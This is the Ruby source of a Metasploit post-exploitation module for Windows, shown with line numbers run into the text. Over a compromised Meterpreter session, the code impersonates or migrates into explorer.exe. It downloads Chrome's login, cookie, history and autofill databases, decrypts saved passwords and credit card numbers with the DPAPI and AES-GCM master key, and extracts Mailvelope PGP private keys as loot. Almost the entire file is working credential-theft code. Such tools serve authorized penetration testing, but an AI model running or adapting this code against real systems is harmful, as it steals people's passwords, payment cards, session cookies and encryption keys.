Path: blob/master/modules/post/windows/gather/enum_chrome.rb
19850 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Post6include Msf::Post::File7include Msf::Post::Windows::Priv8include Msf::Exploit::Deprecated910deprecated nil, 'The post/windows/gather/enum_browsers module now supersedes this module'1112def initialize(info = {})13super(14update_info(15info,16'Name' => 'Windows Gather Google Chrome User Data Enumeration',17'Description' => %q{18This module will collect user data from Google Chrome and attempt to decrypt19sensitive information.20},21'License' => MSF_LICENSE,22'Platform' => ['win'],23'SessionTypes' => ['meterpreter'],24'Author' => [25'Sven Taute', # Original (Meterpreter script)26'sinn3r', # Metasploit post module27'Kx499', # x64 support28'mubix' # Parse extensions29],30'Notes' => {31'Stability' => [CRASH_SAFE],32'SideEffects' => [],33'Reliability' => []34},35'Compat' => {36'Meterpreter' => {37'Commands' => %w[38core_channel_close39core_channel_eof40core_channel_open41core_channel_read42core_migrate43stdapi_fs_stat44stdapi_railgun_api45stdapi_sys_config_getenv46stdapi_sys_config_getsid47stdapi_sys_config_getuid48stdapi_sys_config_steal_token49stdapi_sys_process_attach50stdapi_sys_process_get_processes51stdapi_sys_process_memory_allocate52stdapi_sys_process_memory_read53stdapi_sys_process_memory_write54]55}56}57)58)5960register_options(61[62OptBool.new('MIGRATE', [false, 'Automatically migrate to explorer.exe', false]),63]64)65end6667def extension_mailvelope_parse_key(data)68return data.gsub("\x00", '').tr('[]', '').gsub('\\r', '').gsub('"', '').gsub('\\n', "\n")69end7071def extension_mailvelope_store_key(name, value)72return unless name =~ /(private|public)keys/i7374priv_or_pub = Regexp.last_match(1)7576keys = value.split(',')77print_good("==> Found #{keys.size} #{priv_or_pub} key(s)!")78keys.each do |key|79key_data = extension_mailvelope_parse_key(key)80vprint_good(key_data)81path = store_loot(82"chrome.mailvelope.#{priv_or_pub}", 'text/plain', session, key_data, "#{priv_or_pub}.key", "Mailvelope PGP #{priv_or_pub.capitalize} Key"83)84print_good("==> Saving #{priv_or_pub} key to: #{path}")85end86end8788def extension_mailvelope(username, extname)89chrome_path = @profiles_path + '\\' + username + @data_path + 'Default'90maildb_path = chrome_path + "/Local Storage/chrome-extension_#{extname}_0.localstorage"91if file_exist?(maildb_path) == false92print_error('==> Mailvelope database not found')93return94end95print_status('==> Downloading Mailvelope database...')96local_path = store_loot('chrome.ext.mailvelope', 'text/plain', session, 'chrome_ext_mailvelope')97session.fs.file.download_file(local_path, maildb_path)98print_good("==> Downloaded to #{local_path}")99100maildb = SQLite3::Database.new(local_path)101_, *rows = maildb.execute2('select * from ItemTable;')102maildb.close103104rows.each do |name, value|105extension_mailvelope_store_key(name, value)106end107end108109def parse_prefs(username, filepath)110prefs = ''111File.open(filepath, 'rb') do |f|112prefs = f.read113end114results = ActiveSupport::JSON.decode(prefs)115if results['extensions']['settings']116print_status('Extensions installed: ')117results['extensions']['settings'].each do |name, values|118next unless values['manifest']119120print_status("=> #{values['manifest']['name']}")121if values['manifest']['name'] =~ /mailvelope/i122print_good('==> Found Mailvelope extension, extracting PGP keys')123extension_mailvelope(username, name)124end125end126end127end128129def get_master_key(local_state_path)130local_state_data = read_file(local_state_path)131local_state = JSON.parse(local_state_data)132master_key_base64 = local_state['os_crypt']['encrypted_key']133master_key = Rex::Text.decode_base64(master_key_base64)134master_key135end136137def decrypt_data(data)138mem = session.railgun.kernel32.LocalAlloc(0, data.length)['return']139return nil if mem == 0140141session.railgun.memwrite(mem, data, data.length)142143if session.arch == ARCH_X86144inout_fmt = 'V2'145elsif session.arch == ARCH_X64146inout_fmt = 'Q2'147else148fail_with(Failure::NoTarget, 'Session architecture must be either x86 or x64.')149end150151pdatain = [data.length, mem].pack(inout_fmt)152ret = session.railgun.crypt32.CryptUnprotectData(pdatain, nil, nil, nil, nil, 0, pdatain.length)153len, addr = ret['pDataOut'].unpack(inout_fmt)154155decrypted = len == 0 ? nil : session.railgun.memread(addr, len)156157multi_rail = []158multi_rail << ['kernel32', 'LocalFree', [mem]]159multi_rail << ['kernel32', 'LocalFree', [addr]] if addr != 0160session.railgun.multi(multi_rail)161162decrypted163end164165def process_files(username)166secrets = ''167masterkey = nil168decrypt_table = Rex::Text::Table.new(169'Header' => 'Decrypted data',170'Indent' => 1,171'Columns' => ['Name', 'Decrypted Data', 'Origin']172)173174@chrome_files.each do |item|175if item[:in_file] == 'Preferences'176parse_prefs(username, item[:raw_file])177end178179next if item[:sql].nil?180next if item[:raw_file].nil?181182db = SQLite3::Database.new(item[:raw_file])183begin184columns, *rows = db.execute2(item[:sql])185rescue StandardError186next187end188db.close189190rows.map! do |row|191res = Hash[*columns.zip(row).flatten]192next unless item[:encrypted_fields] && !session.sys.config.is_system?193194item[:encrypted_fields].each do |field|195name = res['name_on_card'].nil? ? res['username_value'] : res['name_on_card']196origin = res['label'].nil? ? res['origin_url'] : res['label']197enc_data = res[field]198199if enc_data.start_with? 'v10'200unless masterkey201print_status('Found password encrypted with masterkey')202local_state_path = @profiles_path + '\\' + username + @data_path + 'Local State'203masterkey_encrypted = get_master_key(local_state_path)204masterkey = decrypt_data(masterkey_encrypted[5..])205print_good('Found masterkey!') if masterkey206end207208cipher = OpenSSL::Cipher.new('aes-256-gcm')209cipher.decrypt210cipher.key = masterkey211cipher.iv = enc_data[3..14]212ciphertext = enc_data[15..-17]213cipher.auth_tag = enc_data[-16..]214pass = res[field + '_decrypted'] = cipher.update(ciphertext) + cipher.final215else216pass = res[field + '_decrypted'] = decrypt_data(enc_data)217end218next unless !pass.nil? && (pass != '')219220decrypt_table << [name, pass, origin]221secret = "url:#{origin} #{name}:#{pass}"222secrets << secret << "\n"223vprint_good("Decrypted data: #{secret}")224end225end226end227228if secrets != ''229path = store_loot('chrome.decrypted', 'text/plain', session, decrypt_table.to_s, 'decrypted_chrome_data.txt', 'Decrypted Chrome Data')230print_good("Decrypted data saved in: #{path}")231end232end233234def extract_data(username)235# Prepare Chrome's path on remote machine236chrome_path = @profiles_path + '\\' + username + @data_path + 'Default'237raw_files = {}238239@chrome_files.map { |e| e[:in_file] }.uniq.each do |f|240remote_path = chrome_path + '\\' + f241242# Verify the path before downloading the file243if file_exist?(remote_path) == false244print_error("#{f} not found")245next246end247248# Store raw data249local_path = store_loot("chrome.raw.#{f}", 'text/plain', session, "chrome_raw_#{f}")250raw_files[f] = local_path251session.fs.file.download_file(local_path, remote_path)252print_good("Downloaded #{f} to '#{local_path}'")253end254255# Assign raw file paths to @chrome_files256raw_files.each_pair do |raw_key, raw_path|257@chrome_files.each do |item|258if item[:in_file] == raw_key259item[:raw_file] = raw_path260end261end262end263264return true265end266267def steal_token268current_pid = session.sys.process.open.pid269target_pid = session.sys.process['explorer.exe']270return if target_pid == current_pid271272if target_pid.to_s.empty?273print_warning('No explorer.exe process to impersonate.')274return275end276277print_status("Impersonating token: #{target_pid}")278begin279session.sys.config.steal_token(target_pid)280return true281rescue Rex::Post::Meterpreter::RequestError => e282print_error("Cannot impersonate: #{e.message}")283return false284end285end286287def migrate(pid = nil)288current_pid = session.sys.process.open.pid289if !pid.nil? && (current_pid != pid)290# PID is specified291target_pid = pid292print_status("current PID is #{current_pid}. Migrating to pid #{target_pid}")293begin294session.core.migrate(target_pid)295rescue StandardError => e296print_error(e.message)297return false298end299else300# No PID specified, assuming to migrate to explorer.exe301target_pid = session.sys.process['explorer.exe']302if target_pid != current_pid303@old_pid = current_pid304print_status("current PID is #{current_pid}. migrating into explorer.exe, PID=#{target_pid}...")305begin306session.core.migrate(target_pid)307rescue StandardError => e308print_error(e)309return false310end311end312end313return true314end315316def run317@chrome_files = [318{ raw: '', in_file: 'Web Data', sql: 'select * from autofill;' },319{ raw: '', in_file: 'Web Data', sql: 'SELECT username_value,origin_url,signon_realm FROM logins;' },320{ raw: '', in_file: 'Web Data', sql: 'select * from autofill_profiles;' },321{ raw: '', in_file: 'Web Data', sql: 'select * from credit_cards;', encrypted_fields: ['card_number_encrypted'] },322{ raw: '', in_file: 'Cookies', sql: 'select * from cookies;' },323{ raw: '', in_file: 'History', sql: 'select * from urls;' },324{ raw: '', in_file: 'History', sql: 'SELECT url FROM downloads;' },325{ raw: '', in_file: 'History', sql: 'SELECT term FROM keyword_search_terms;' },326{ raw: '', in_file: 'Login Data', sql: 'select * from logins;', encrypted_fields: ['password_value'] },327{ raw: '', in_file: 'Bookmarks', sql: nil },328{ raw: '', in_file: 'Preferences', sql: nil },329]330331@old_pid = nil332migrate_success = false333334# If we can impersonate a token, we use that first.335# If we can't, we'll try to MIGRATE (more aggressive) if the user wants to336got_token = steal_token337if !got_token && datastore['MIGRATE']338migrate_success = migrate339end340341session.session_host342343# Get Google Chrome user data path344env_vars = session.sys.config.getenvs('SYSTEMDRIVE', 'USERNAME')345sysdrive = env_vars['SYSTEMDRIVE'].strip346if directory?("#{sysdrive}\\Users")347@profiles_path = "#{sysdrive}/Users"348@data_path = '\\AppData\\Local\\Google\\Chrome\\User Data\\'349elsif directory?("#{sysdrive}\\Documents and Settings")350@profiles_path = "#{sysdrive}/Documents and Settings"351@data_path = '\\Local Settings\\Application Data\\Google\\Chrome\\User Data\\'352end353354# Get user(s)355usernames = []356if is_system?357print_status('Running as SYSTEM, extracting user list...')358print_warning('(Automatic decryption will not be possible. You might want to manually migrate, or set "MIGRATE=true")')359session.fs.dir.foreach(@profiles_path) do |u|360not_actually_users = [361'.', '..', 'All Users', 'Default', 'Default User', 'Public', 'desktop.ini',362'LocalService', 'NetworkService'363]364usernames << u unless not_actually_users.include?(u)365end366print_status "Users found: #{usernames.join(', ')}"367else368uid = session.sys.config.getuid369print_status "Running as user '#{uid}'..."370usernames << env_vars['USERNAME'].strip if env_vars['USERNAME']371end372373has_sqlite3 = true374begin375require 'sqlite3'376rescue LoadError377print_warning('SQLite3 is not available, and we are not able to parse the database.')378has_sqlite3 = false379end380381# Process files for each username382usernames.each do |u|383print_status("Extracting data for user '#{u}'...")384success = extract_data(u)385process_files(u) if success && has_sqlite3386end387388# Migrate back to the original process389if datastore['MIGRATE'] && @old_pid && migrate_success390print_status('Migrating back...')391migrate(@old_pid)392end393end394end395396397